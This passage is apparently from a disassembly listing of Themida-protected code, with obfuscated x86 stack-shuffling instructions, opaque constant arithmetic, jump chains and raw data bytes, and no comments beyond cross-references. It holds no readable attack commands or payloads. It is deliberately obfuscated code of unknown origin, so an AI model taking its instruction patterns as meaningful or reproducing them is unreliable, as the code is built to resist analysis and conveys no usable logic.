db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_566612: ; CODE XREF: Themida_:0055C9DFj
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
jmp loc_55F6EA
; ---------------------------------------------------------------------------
loc_566620: ; CODE XREF: Themida_:0055F822j
pop dword ptr [esp]
mov esp, [esp]
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
mov esp, [esp]
sar word ptr [esp], cl
pushf
jmp loc_560E49
; ---------------------------------------------------------------------------
loc_56663C: ; CODE XREF: Themida_:0056625Cj
sub [esp+4], esi
pop esi
mov edx, [esp]
push edi
push esp
pop edi
add edi, 4
jmp loc_55F91B
; ---------------------------------------------------------------------------
loc_566652: ; CODE XREF: Themida_:005567FDj
pop ebp
jmp loc_56575F
; ---------------------------------------------------------------------------
loc_566658: ; CODE XREF: Themida_:00557D3Bj
pop esi
jmp loc_561958
; ---------------------------------------------------------------------------
dw 0E381h
dd 0C4659C8h, 0FEEE55E9h, 665866FFh, 5052F329h, 0FF7171E9h
db 0FFh
byte_566675 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00552AE4o
dd 4EC8124h, 89000000h, 77E9240Ch
db 1Ah, 2 dup(0FFh)
byte_566687 db 0ADh ; DATA XREF: Themida_:00552900o
dd 0B417E951h, 0CF81FFFFh, 248447Bh, 7EF7EF81h, 0FB892E7Fh
dd 0FF7D37E9h, 2434FFFFh, 4EC8358h, 0FEFB5AE9h, 6E6847FFh
dd 89000056h, 0F1E92434h, 81FFFF6Ch, 4C3h, 51525000h, 847A1CB9h
dd 10D6E95Fh, 0CD29FFFFh, 592434FFh, 0FF626BE9h, 0ACE952FFh
dd 81FFFFDEh, 961350EBh, 0A871E97Bh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5666EA: ; CODE XREF: Themida_:0055D4A0j
mov ebp, 200528Ah
sub ebp, 65D5872h
sub ebp, 343F654Eh
shr ebp, 8
add ebp, 42473068h
neg ebp
jmp loc_558992
; ---------------------------------------------------------------------------
db 1
dd 3E685DE8h, 8900007Fh, 4EBF243Ch, 0E934CE1Ah, 0FFFEF268h
dd 383D24B8h, 78BE5676h, 0E926224Ah, 13C9h, 1F251ABFh
dd 1BC1E900h, 295EFFFFh, 0B2ECE9C3h, 5954FFFFh, 4C181h
dd 0BA520000h, 7DFD2992h, 0C281DAF7h, 48777851h, 0FF96BEE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56675D: ; CODE XREF: Themida_:0055F9C1j
xchg edi, [esp]
jmp loc_5638C1
; ---------------------------------------------------------------------------
loc_566765: ; CODE XREF: Themida_:00565AFCj
push 555D1E92h
mov ecx, [esp]
add esp, 4
sub edx, 2580377Fh
sub edx, ecx
push ecx
mov ecx, 2580377Fh
jmp loc_55D180
; ---------------------------------------------------------------------------
db 1
dd 0E9042474h, 0FFFEDD55h
; ---------------------------------------------------------------------------
loc_56678C: ; CODE XREF: Themida_:0055BDD9j
mov ebx, ebp
mov ebp, [esp]
add esp, 4
sub ebp, 6644427Bh
sub ebp, ebx
add ebp, 6644427Bh
pop ebx
push ecx
push eax
mov eax, ebp
jmp loc_55DC4F
; ---------------------------------------------------------------------------
loc_5667AF: ; CODE XREF: Themida_:0056065Bj
pop ecx
push 23CAh
mov [esp], ebp
jmp loc_5664CA
; ---------------------------------------------------------------------------
db 5Bh, 5Ah, 83h
dd 348904ECh, 5529E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5667CA: ; CODE XREF: Themida_:005655D1j
pop eax
add eax, 4
push ebp
jmp loc_568298
; ---------------------------------------------------------------------------
loc_5667D6: ; CODE XREF: Themida_:0055CE7Bj
mov edx, 47E96D75h
neg edx
not edx
and edx, 4BCF6073h
neg edx
sub edx, 7A3E304Fh
sub edx, 0DBD64BA6h
add ebx, edx
pop edx
jmp loc_559F77
; ---------------------------------------------------------------------------
aAH db 'аМ',7,'h',0
dd 29000000h, 2C8B242Ch, 0E0895024h, 405h, 40500h, 4870000h
dd 24248B24h, 0FF9036E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_566821: ; CODE XREF: Themida_:00562992j
mov edi, esp
add edi, 4
jmp loc_55F9BE
; ---------------------------------------------------------------------------
loc_56682E: ; CODE XREF: Themida_:00563A25j
push ecx
jmp loc_55E2AC
; ---------------------------------------------------------------------------
dd 15DEE29h, 0A6C681C6h, 0E91B5D64h, 0FFFFA83Fh, 6C93E954h
dd 815DFFFFh, 4C5h, 4C58300h, 0FFEEBFE9h, 0C5815DFFh, 4
dd 0FECA75E9h, 24148BFFh, 0FFAD3AE9h, 0CCE958FFh
db 50h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_566873: ; CODE XREF: Themida_:0056536Dj
add esp, 4
add esp, 4
push edx
jmp loc_5577B3
; ---------------------------------------------------------------------------
dw 189h
dd 7A48E959h, 0C166FFFFh, 816604E5h, 0E98BD4F5h, 0FFFFD261h
dd 51E9D0F7h, 81FFFF28h, 4ECh, 0BA69E900h, 8F5AFFFFh, 895C2404h
dd 0DF68241Ch, 5B1A5F32h, 8904EC83h, 0B951242Ch, 6D42456Eh
dd 28AC981h, 0E4E91BFDh
db 0Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5668CF: ; CODE XREF: Themida_:0055DFBAj
jz loc_55FB6E
push dword ptr [edi+28h]
push dword ptr [esp]
pop eax
push eax
push esp
pop eax
push 6860h
mov [esp], ebx
jmp loc_567D50
; ---------------------------------------------------------------------------
dd 801ACA35h, 49AB352Ch, 0F75050D0h, 13E9241Ch, 83FFFFB1h
dd 0B2E904ECh
db 27h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_566907: ; CODE XREF: Themida_:00554DC9j
mov esp, [esp]
jmp loc_55CE4C
; ---------------------------------------------------------------------------
db 5Eh
dd 0FF436DE9h, 241C89FFh, 0FECC91E9h, 4EC83FFh, 0B8240489h
dd 2A7C2594h, 0B5AEB81h, 0C3292126h, 0B5AC381h, 1582126h
dd 241C8BD9h, 0FF0DFBE9h, 0CBEB81FFh, 1D90229h, 7685BDAh
dd 89000066h, 0DF68240Ch, 5903F73Dh, 44D8EA81h, 34E94A37h
db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_566963: ; CODE XREF: Themida_:0055460Cj
sub esp, 4
mov [esp], edi
jmp loc_5559E9
; ---------------------------------------------------------------------------
loc_566971: ; CODE XREF: Themida_:0055B896j
add ebx, 0DC7786C4h
jmp loc_55D6FC
; ---------------------------------------------------------------------------
dd 0A469A0BBh, 0FFD82939h, 815B2434h, 4C4h, 65BE5600h
dd 0F75A4A5Bh, 0CE8146D6h, 269366DBh, 55FFEE83h, 5619B868h
dd 242C8B62h, 0FF6869E9h, 7520BBFFh, 0E3C16A85h, 81D3F703h
dd 0BA2C69EBh, 5EC38173h, 0C14D0A21h, 0EB8108EBh, 0FDD9198Ah
dd 1C8BD989h, 4C48324h, 15E368h, 24348900h, 5A17A5BEh
dd 7EEC12Eh, 0E48EF681h, 33E94543h, 53FFFF59h, 0FFB124E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5669F5: ; CODE XREF: Themida_:0055A03Aj
add [esp+4], ecx
pop ecx
mov eax, [esp]
add esp, 4
sub esp, 4
mov [esp], ebx
sub esp, 4
mov [esp], eax
jmp loc_55D494
; ---------------------------------------------------------------------------
db 89h
dd 0E789243Ch, 4C781h, 0C7810000h, 2, 8B243C87h, 0F1F62424h
dd 0CCB60F66h, 35356866h, 240C8966h, 0C8B60F66h, 0E99C5166h
dd 0FFFEC81Dh, 8704C683h, 72E92434h, 31FFFFE7h, 4332404h
dd 0E7D7E924h, 505AFFFEh, 5C2838B8h, 0DA9E2D68h, 63E95848h
dd 81FFFFB9h, 0AA6745EAh, 0C4BB533Dh, 8142C518h, 9E0D56CBh
dd 0EAEB814Ah, 8115695Eh, 6572A5EBh, 0D697E977h
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_566A92: ; CODE XREF: Themida_:0055739Cj
pop edx
xchg esi, [esp]
pop esp
jmp loc_565BFF
; ---------------------------------------------------------------------------
dd 0BA52E089h, 3F732983h, 0A604E950h, 39B7FFFFh, 0D045EF80h
dd 4EFC0EFh, 49EF80h, 34FF5BFAh, 0C4815924h, 4, 0FFB431E9h
dd 4BEFFh, 0E5E90000h, 0F7FFFFC5h, 6BCEE9DEh, 0EF68FFFFh
dd 0E9000056h, 0FFFF55BDh
; ---------------------------------------------------------------------------
loc_566AE4: ; CODE XREF: Themida_:00561FB1j
; Themida_:00564B04j
push 6D15h
mov [esp], ebx
jmp loc_5671AF
; ---------------------------------------------------------------------------
loc_566AF1: ; CODE XREF: Themida_:005632CAj
add eax, 8557681h
and esi, eax
pop eax
add esi, 0E4771B2h
xor esi, 67F403C1h
jmp loc_555B1F
; ---------------------------------------------------------------------------
dw 148Bh
dd 4C48324h, 0FF9AFEE9h, 7C30BDFFh, 0E82910CFh, 41C3E95Dh
dd 0C381FFFFh, 7925546Bh, 0FF29A2E9h, 0EC8351FFh, 24248904h
dd 0FF4E12E9h, 4C481FFh, 0E9000000h, 0FFFF9495h
; ---------------------------------------------------------------------------
loc_566B44: ; CODE XREF: Themida_:00555ADCj
push ebx
push 1F1E5D7Bh
mov ebx, [esp]
add esp, 4
push 704Ah
mov [esp], ecx
push 29AE3734h
jmp loc_55A129
; ---------------------------------------------------------------------------
dw 0D9F7h
dd 2961E981h, 0E9813DACh, 18CD1C61h, 26B2C981h, 0E981705Eh
dd 287F6248h, 0FF0199E9h, 4C181FFh, 81000000h, 4C1h, 240C8700h
dd 0FF43B4E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_566B95: ; CODE XREF: Themida_:0055584Aj
push edx
push 0FFFFFFFFh
jmp loc_55FB76
; ---------------------------------------------------------------------------
loc_566BA0: ; CODE XREF: Themida_:005543FEj
pop edx
shl ebp, 4
jmp loc_564118
; ---------------------------------------------------------------------------
loc_566BA9: ; CODE XREF: Themida_:00553506j
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
push 7FC3h
mov [esp], esi
mov esi, esp
push eax
push 5C80h
jmp loc_55EAFB
; ---------------------------------------------------------------------------
loc_566BCB: ; CODE XREF: Themida_:0055C4ADj
pop edi
sub edx, 47E3F403h
sub eax, 15410641h
add eax, edx
add eax, 15410641h
pop edx
jmp loc_5660B1
; ---------------------------------------------------------------------------
dd 0E9240433h, 0FFFF69ABh, 83242C8Bh, 0BA5204C4h, 62470149h
dd 0FF5FCEE9h, 240431FFh, 0FF1BE1E9h, 35E950FFh, 81FFFED0h
dd 6C1F1AEFh, 56EF813Ah, 2901E57Dh, 56C781D7h, 8101E57Dh
dd 6C1F1AC7h, 0DBEF813Ah, 5A53706Fh, 4EC8157h, 0E9000000h
dd 0FFFF29B6h, 24148B66h, 741D68h, 243C8900h, 0BA52E789h
dd 616F27D2h, 4309BF57h, 0FA317C75h, 81243C8Bh, 4C4h, 0A63FE900h
db 2 dup(0FFh)
word_566C62 dw 30ACh ; DATA XREF: Themida_:00552B28o
dd 72E3E9D8h, 8957FFFFh, 4C781E7h, 81000000h, 4EFh, 243C8700h
dd 0FEF65FE9h, 659868FFh, 34890000h, 0E95E5424h, 0FFFF608Ah
dd 7EBC15Ch, 0FF46D4E9h, 240483FFh, 243C8B04h, 0FF7398E9h
dd 7E2C1FFh, 0FFF11FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_566CAD: ; CODE XREF: Themida_:00557D7Dj
sub esi, 4
jmp loc_564E00
; ---------------------------------------------------------------------------
dd 8B241C87h, 0C481242Ch, 4, 7DBD5552h, 0C14D6412h, 0FCE903EDh
dd 80FFFEEEh, 4EE933F5h
db 5Ah, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_566CDB: ; CODE XREF: Themida_:005585EEj
pop edi
jmp loc_5589B7
; ---------------------------------------------------------------------------
loc_566CE1: ; CODE XREF: Themida_:00560798j
push esi
mov esi, 1AC16DB6h
sub dword ptr [esp+8], 4CED7C9Ch
add [esp+8], esi
jmp loc_56564E
; ---------------------------------------------------------------------------
dd 569DF381h, 0EFE9075Ah, 68FFFF79h, 5B44h, 0E9240489h
dd 0FFFF155Ah
; ---------------------------------------------------------------------------
loc_566D10: ; CODE XREF: Themida_:0055EE7Bj
xor ebp, 0AE4A6194h
jmp loc_552C33
; ---------------------------------------------------------------------------
loc_566D1B: ; CODE XREF: Themida_:005635A9j
xor esi, [esp]
jmp loc_562ACE
; ---------------------------------------------------------------------------
db 57h
dd 8806F9BFh, 1188E928h, 0C6810000h, 4, 5C243487h, 0FF2C30E9h
dd 243C8BFFh, 0FF46A2E9h, 665066FFh, 664490B8h, 16E9C329h
dd 81FFFFF9h, 69BC33EAh, 0D2BDE961h, 0A4B8FFFEh, 2D384D38h
dd 0D893BD12h, 958C601h, 0B8505EF7h, 91600AEh, 1C576F0Dh
dd 4EC8330h, 0E9243489h, 0FFFFEF6Bh, 0E9242C8Bh, 0FFFF6533h
dd 98BED81h, 0CD810DA9h, 32401B85h, 0FF6BEFE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_566D9D: ; CODE XREF: Themida_:00558C92j
push edx
jmp loc_5652B8
; ---------------------------------------------------------------------------
loc_566DA3: ; CODE XREF: Themida_:00561748j
pop eax
jmp loc_55DA69
; ---------------------------------------------------------------------------
db 81h, 0EEh, 0
dd 9C0F718h, 0CD875EF5h, 80E9D987h
db 8, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_566DBB: ; CODE XREF: Themida_:005628ADj
add [esp+4], edi
sub dword ptr [esp+4], 572766E7h
pop edi
pop edx
add edx, 4
push 2200h
mov [esp], edi
mov edi, 4
jmp loc_565AAC
; ---------------------------------------------------------------------------
db 58h, 5, 4
dd 5000000h, 4, 0FF1865E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_566DF1: ; CODE XREF: Themida_:0055E7C3j
or eax, 18C3570Bh
push ebp
mov ebp, 541B5D8Dh
xor ebp, 79CD4FE6h
and eax, ebp
jmp loc_559B86
; ---------------------------------------------------------------------------
db 55h, 0BDh, 0F6h
dd 294F39B2h, 0FA895DEFh, 0FF65C4E9h, 5DEE31FFh, 39D3EE81h
dd 0F6813A1Ch, 43397590h, 5DDFF681h, 0F7312170h, 5FF9095Eh
dd 81FFE983h, 777EBBE9h, 59CA3168h, 335AD101h, 0CAE9240Ch
dd 68FFFF59h, 5F09h, 0B8240489h, 25697995h, 0E901E883h
dd 0FFFF16D1h
; ---------------------------------------------------------------------------
loc_566E60: ; CODE XREF: Themida_:0055F852j
add ecx, 2C97EFAEh
jmp loc_562D3B
; ---------------------------------------------------------------------------
loc_566E6B: ; CODE XREF: Themida_:0055B602j
mov [esp], ebp
push 2556h
mov [esp], ecx
mov ecx, 1B7A161Bh
shr ecx, 7
jmp loc_567546
; ---------------------------------------------------------------------------
db 28h
dd 91C380C3h, 5883C380h, 0E952CC04h, 0FFFF5DF1h, 533DBF57h
dd 0D7F7006Ch, 137EC781h, 0F781015Ah, 58FF6770h, 0FEF57FE9h
dd 0BD09E9FFh, 0E957FFFEh, 0FFFF481Ah, 0E9242489h, 0FFFF6C52h
dd 0E904E2C1h, 0FFFF9F9Ah, 0EA81C201h, 37E0117Fh, 0CAC28158h
dd 8B7C9249h, 12E9243Ch, 0BDFFFFE0h, 0EB7781Ah, 2B05BE56h
dd 3DE9764Fh, 81FFFFCCh, 4C4h, 66DDF600h, 0F515E952h, 3C89FFFFh
dd 0D086824h, 0BE90000h, 81FFFEC9h, 4C4h, 0BD555100h, 11210E7Fh
dd 685DE989h, 11F5h, 0BD242C89h, 0
dd 0EC83CD29h, 242C8904h, 4CE95D59h
db 0Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_566F37: ; CODE XREF: Themida_:0055B90Ej
mov edi, 55077F9Ch
jmp loc_554BEE
; ---------------------------------------------------------------------------
db 81h, 0C4h, 4
dd 83000000h, 12E904ECh
db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_566F4F: ; CODE XREF: Themida_:00563A3Bj
push ebx
jmp loc_553FE1
; ---------------------------------------------------------------------------
db 81h, 0E9h, 2Eh
dd 0E9671396h, 0FFFF6B42h, 0E7E9C601h
db 0F9h, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_566F67: ; CODE XREF: Themida_:00554D47j
mov eax, [esp]
sub esp, 4
mov [esp], edx
mov edx, esp
jmp loc_55A14B
; ---------------------------------------------------------------------------
db 59h
dd 34FFF830h, 241C8B24h, 4C481h, 0C4E90000h, 91FFFEC5h
dd 31C13148h, 0CAF4E9C8h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_566F96: ; CODE XREF: Themida_:00553F37j
xchg ecx, [esp]
mov esp, [esp]
mov [esp], eax
sub esp, 4
jmp loc_55A819
; ---------------------------------------------------------------------------
dw 0EB81h
dd 97C4D646h, 0FFC530E9h, 81C629FFh, 742B4EC6h, 2434FF2Fh
dd 0FEC013E9h, 8AC680FFh, 0FF5B5BE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_566FCD: ; CODE XREF: Themida_:00559B49j
add esp, 4
sub esp, 4
mov [esp], ebp
push dword ptr [esp+4]
pop ebp
jmp loc_559E8D
; ---------------------------------------------------------------------------
dw 0E952h
dd 0FFFF6FA0h, 4C581h, 0C9E90000h, 81FFFF73h, 4C7h, 4C78100h
dd 0E9000000h, 0FFFF7B7Dh
; ---------------------------------------------------------------------------
loc_567008: ; CODE XREF: Themida_:0055C036j
mov esi, 1BB37711h
sub esi, 0C0C935A5h
or edx, esi
pop esi
xor edx, 5FEF576Bh
jmp loc_560D9B
; ---------------------------------------------------------------------------
db 80h, 0C4h, 0A0h
dd 801DF480h, 6866CAECh, 89666837h, 0DBB5240Ch, 0FFFC9AE9h
dd 34EE81FFh, 815E9851h, 51F330F6h, 5EF201A2h, 0E9241487h
dd 0FFFF91ECh, 0A1D7E95Ah
db 2 dup(0FFh)
word_567056 dw 8B66h ; DATA XREF: Themida_:00552A1Co
dd 8155240Ch, 4ECh, 24148900h, 0C281E289h, 4, 0E904EA83h
dd 0FFFFC96Ch, 8B545558h, 0C483242Ch, 7D5DE904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_567082: ; CODE XREF: Themida_:005598F3j
shl esi, 3
push edx
mov edx, 7AEA693Fh
jmp loc_55ACFB
; ---------------------------------------------------------------------------
dd 5C242C87h, 89240C89h, 4C181E1h, 0E9000000h, 0FFFF810Eh
dd 5C24048Fh, 83240C8Bh, 0C8904ECh, 0C8B5424h, 4C48324h
dd 4C181h, 2D680000h, 89000016h, 9CE92414h
db 0C3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5670CB: ; CODE XREF: Themida_:00557D83j
push edx
mov edx, 7CBD380Dh
xor edx, 1D580DA8h
add edx, 52832EB4h
add edx, 2869763Dh
not edx
jmp loc_564E44
; ---------------------------------------------------------------------------
dw 8956h
dd 4C681E6h, 0E9000000h, 0FFFFFC36h, 348BF789h, 0E09EE924h
dd 348BFFFEh, 0CC5E924h, 0F2810000h, 0AE778CA4h, 15AD701h
dd 85EF81DFh, 0FF0EE657h, 1DE92434h
db 0Ch, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_567123: ; CODE XREF: Themida_:0055BBCFj
mov ah, 5Ah
jmp loc_55FD06
; ---------------------------------------------------------------------------
dw 0B951h
dd 2E772954h, 0E959CE29h, 0FFFFDCC0h
; ---------------------------------------------------------------------------
loc_567138: ; CODE XREF: Themida_:00564049j
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edi
push 0DEFh
mov [esp], esp
push 6DE8h
mov [esp], ecx
mov ecx, 4
add [esp+4], ecx
mov ecx, [esp]
add esp, 4
pop edi
jmp loc_56658F
; ---------------------------------------------------------------------------
dw 8166h
dd 668034C7h, 665FFD89h, 5DF7C581h, 0FF71A9E9h, 0BA31E9FFh
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_56718A: ; CODE XREF: Themida_:0055674Aj
xor edx, ecx
jmp loc_56766B
; ---------------------------------------------------------------------------
db 5Dh, 66h, 1
dd 665166E8h, 6602A2B9h, 8B66C829h, 0EE9240Ch, 0C1FFFF8Ch
dd 5BE902EAh
db 0C4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5671AF: ; CODE XREF: Themida_:00566AECj
push dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push ecx
push 0CDBh
mov [esp], esp
sub esp, 4
mov [esp], eax
mov eax, 4
add [esp+4], eax
jmp loc_5567B2
; ---------------------------------------------------------------------------
db 1
dd 6A2FE9C3h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5671E2: ; CODE XREF: Themida_:00556EF6j
push esi
mov esi, 8A0E3Eh
add eax, esi
jmp loc_563936
; ---------------------------------------------------------------------------
db 81h
dd 805C5DF6h, 0A65BE98Ch, 0BD55FFFFh, 4, 0FF09C0E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_567205: ; CODE XREF: Themida_:0055F379j
sub ebx, ebp
add ebx, 71BF73C5h
pop ebp
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
mov [esp], esi
push 80000h
mov esi, [esp]
sub esp, 4
mov [esp], esi
jmp loc_55E311
; ---------------------------------------------------------------------------
loc_567230: ; CODE XREF: Themida_:00564A49j
xor eax, [esp]
jmp loc_55D8C3
; ---------------------------------------------------------------------------
dd 463AEE81h, 8CE91903h, 57FFFF23h, 647BBE56h, 0C6811200h
dd 10317630h, 0A9EAEE81h, 0F789B58Bh, 5EB4E95Eh, 431FFFFh
dd 24043324h, 0FF26BBE9h
dword_567268 dd 2434FFFFh, 4C48359h, 0FFA16AE9h ; DATA XREF: Themida_:00564B1Co
db 0FFh
; ---------------------------------------------------------------------------
loc_567275: ; CODE XREF: Themida_:00559951j
add bl, ch
add bl, 53h
mov ecx, [esp]
jmp loc_55E67C
; ---------------------------------------------------------------------------
loc_567282: ; CODE XREF: Themida_:0055D523j
push edx
mov edx, esp
jmp loc_55F3D3
; ---------------------------------------------------------------------------
loc_56728A: ; CODE XREF: Themida_:00556E3Cj
push 16F7h
mov [esp], esi
mov esi, esp
add esi, 4
jmp loc_567DA1
; ---------------------------------------------------------------------------
loc_56729F: ; CODE XREF: Themida_:0055686Fj
push esi
mov esi, 4
add ebx, esi
jmp loc_55FD48
; ---------------------------------------------------------------------------
dword_5672AC dd 24048B66h, 0FEE69EE9h, 40558FFh, 56000000h, 0FF1648E9h
; DATA XREF: Themida_:00552A44o
db 0FFh
; ---------------------------------------------------------------------------
loc_5672C1: ; CODE XREF: Themida_:00564AC3j
add edx, edi
jmp loc_5620D6
; ---------------------------------------------------------------------------
dd 1592C381h, 81597BDFh, 574A9FEBh, 0DB0AE944h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5672DA: ; CODE XREF: Themida_:00558FB9j
mov esp, [esp]
sub [edi+24h], edx
mov edx, [esp]
push ebx
push esp
pop ebx
jmp loc_564C50
; ---------------------------------------------------------------------------
db 0B8h
dd 2EBA0D32h, 8158C531h, 5EBA7DF5h, 5DE80129h, 0FF1B43E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_567301: ; CODE XREF: Themida_:0055BA97j
mov esi, 43060735h
or esi, 54413420h
jmp loc_558FEF
; ---------------------------------------------------------------------------
db 5Bh, 81h, 0C4h
dd 4, 0E924048Fh, 0FFFF14BDh
; ---------------------------------------------------------------------------
loc_567320: ; CODE XREF: Themida_:0055B6B5j
mov ebx, 0CAE46425h
xor edi, ebx
mov ebx, [esp]
add esp, 4
sub eax, edi
mov edi, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], ebp
jmp loc_560EFB
; ---------------------------------------------------------------------------
dd 8AF68h, 0DB1AE900h
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_56736A: ; CODE XREF: Themida_:00564203j
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
push ecx
mov ecx, 4
jmp loc_552FB9
; ---------------------------------------------------------------------------
dw 0DAF7h
dd 2B59F281h, 0DAF71224h, 0C837C281h, 0D129920Bh, 0FED140E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_567395: ; CODE XREF: Themida_:00556F8Aj
xor [esp], ebx
xor ebx, [esp]
jmp loc_564CCC
; ---------------------------------------------------------------------------
dd 0CFD6EE81h, 0F73194B3h, 5E2434FFh, 4C481h, 0F9010000h
dd 0FF2563E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5673B9: ; CODE XREF: Themida_:00557245j
push eax
jmp loc_561EDA
; ---------------------------------------------------------------------------
db 81h
dd 9C110FC6h, 81EE296Dh, 9C110FEEh, 34875D6Dh, 24248B24h
dd 24048F54h, 4B850h, 6C810000h, 2FE30424h, 0BB534827h
dd 15DF00ECh, 4308EBC1h, 0E908E3C1h, 0FFFF7292h, 4C781h
dd 0E9510000h, 0FFFF8D9Ch
; ---------------------------------------------------------------------------
loc_567404: ; CODE XREF: Themida_:005606F0j
add ecx, 4
xchg ecx, [esp]
jmp loc_55BB5A
; ---------------------------------------------------------------------------
loc_567412: ; CODE XREF: Themida_:0056084Aj
mov edi, 5E3D5447h
jmp loc_55E049
; ---------------------------------------------------------------------------
dd 0BE243489h, 782F7B1Ch, 4247401h, 8324348Bh, 13E904C4h
db 85h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_567433: ; CODE XREF: Themida_:00565C7Dj
pop ebx
add ecx, 80048207h
push 6DF1h
mov [esp], esi
push edx
mov edx, ecx
mov esi, edx
pop edx
push esi
add dword ptr [esp], 3E194723h
jmp loc_555B95
; ---------------------------------------------------------------------------
db 51h, 89h, 0E1h
dd 4C181h, 0BF570000h, 4, 0FFD2A6E9h, 81E789FFh, 4C7h
dd 0EF60E900h, 0D104FFFFh, 8058C500h, 0EDC03FC5h, 6803h
dd 2C800000h, 2C280724h, 24048024h, 2096E907h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_567496: ; CODE XREF: Themida_:005680E8j
pop edi
xor edi, 61493900h
not edi
jmp loc_55CC0B
; ---------------------------------------------------------------------------
dd 9C00E981h, 1BE97A66h, 57FFFF16h, 657396BFh, 4B3E684Dh
dd 14890000h, 0B47BA24h, 0C7814BCFh, 71982B55h, 23D7C781h
dd 0D7012860h, 23D7EF81h, 0F9E92860h, 0FFFFD0h, 0ECC380EBh
dd 80F32859h, 0B050C8EBh, 58C3007Ah, 80C3005Ah, 0B60F87C3h
dd 8734FFC0h, 4EC81h, 14890000h, 0E8E95724h
db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_567507: ; CODE XREF: Themida_:005546ACj
sub esp, 4
jmp loc_55DFBF
; ---------------------------------------------------------------------------
dw 0FB89h
dd 0FF4771E9h, 7DE95DFFh, 2DFFFF45h, 5BD552D8h, 21E9F801h
dd 1FFFF13h, 0C1815AD1h, 4, 5C240C87h, 2C381h, 1C870000h
dd 0E061E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_567546: ; CODE XREF: Themida_:00566E7Ej
and ecx, 6CC062CFh
push edi
mov edi, 0FC87CC1h
shl edi, 3
sub edi, 73166229h
xor edi, 25589F26h
jmp loc_5606F5
; ---------------------------------------------------------------------------
dw 0E5C1h
dd 56C58104h, 81136579h, 0A300D6E5h, 0FBE95007h, 31FFFF18h
dd 14332414h, 24248B24h, 4BB0F66h, 2CE99C24h, 5FFFEB6h
dd 4, 42Dh, 24048700h, 2414895Ch, 6F68E289h, 8900000Fh
dd 0CDE92404h, 5FFFF3Fh, 7AAA0E67h, 1A6B762Dh, 5CC2057Bh
dd 0F8295D30h, 0FFBE84E9h, 0EC8155FFh, 4, 0BB241C89h, 2D7A3185h
dd 0A0E9DD89h
db 50h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5675DB: ; CODE XREF: Themida_:00565FC2j
pop edx
xchg esi, [esp]
mov esp, [esp]
mov edx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
jmp loc_561D30
; ---------------------------------------------------------------------------
db 81h, 0EAh, 0E4h
dd 816B5125h, 0AA6745C2h, 0E9CA013Dh, 0FFFFF463h, 8904EC83h
dd 0F3BE2434h, 812ADC44h, 0DC44F7F6h, 0BFE9562Ah
db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_567623: ; CODE XREF: Themida_:0056331Fj
sub esi, 7E525B41h
jmp loc_55775D
; ---------------------------------------------------------------------------
dw 0E6C1h
dd 1AF68104h, 31410823h, 0C7815EF2h, 4A724A98h, 0FF7CA2E9h
dd 81D901FFh, 1D7724E9h, 0B8BCE917h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_567652: ; CODE XREF: Themida_:005558D2j
sub esi, 555A39E8h
jmp loc_56634B
; ---------------------------------------------------------------------------
loc_56765D: ; CODE XREF: Themida_:005679A1j
pop esp
push ecx
push dword ptr [esp+4]
mov ecx, [esp]
jmp loc_557428
; ---------------------------------------------------------------------------
loc_56766B: ; CODE XREF: Themida_:0056718Cj
xor ecx, edx
xor edx, ecx
not ecx
xor edx, ecx
xor ecx, edx
xor edx, ecx
dec edx
jmp loc_563234
; ---------------------------------------------------------------------------
db 5, 24h, 59h
dd 8CE91C0Bh
db 0B7h, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_567687: ; CODE XREF: Themida_:0055B7BFj
add esi, ebp
pop ebp
push 0F68h
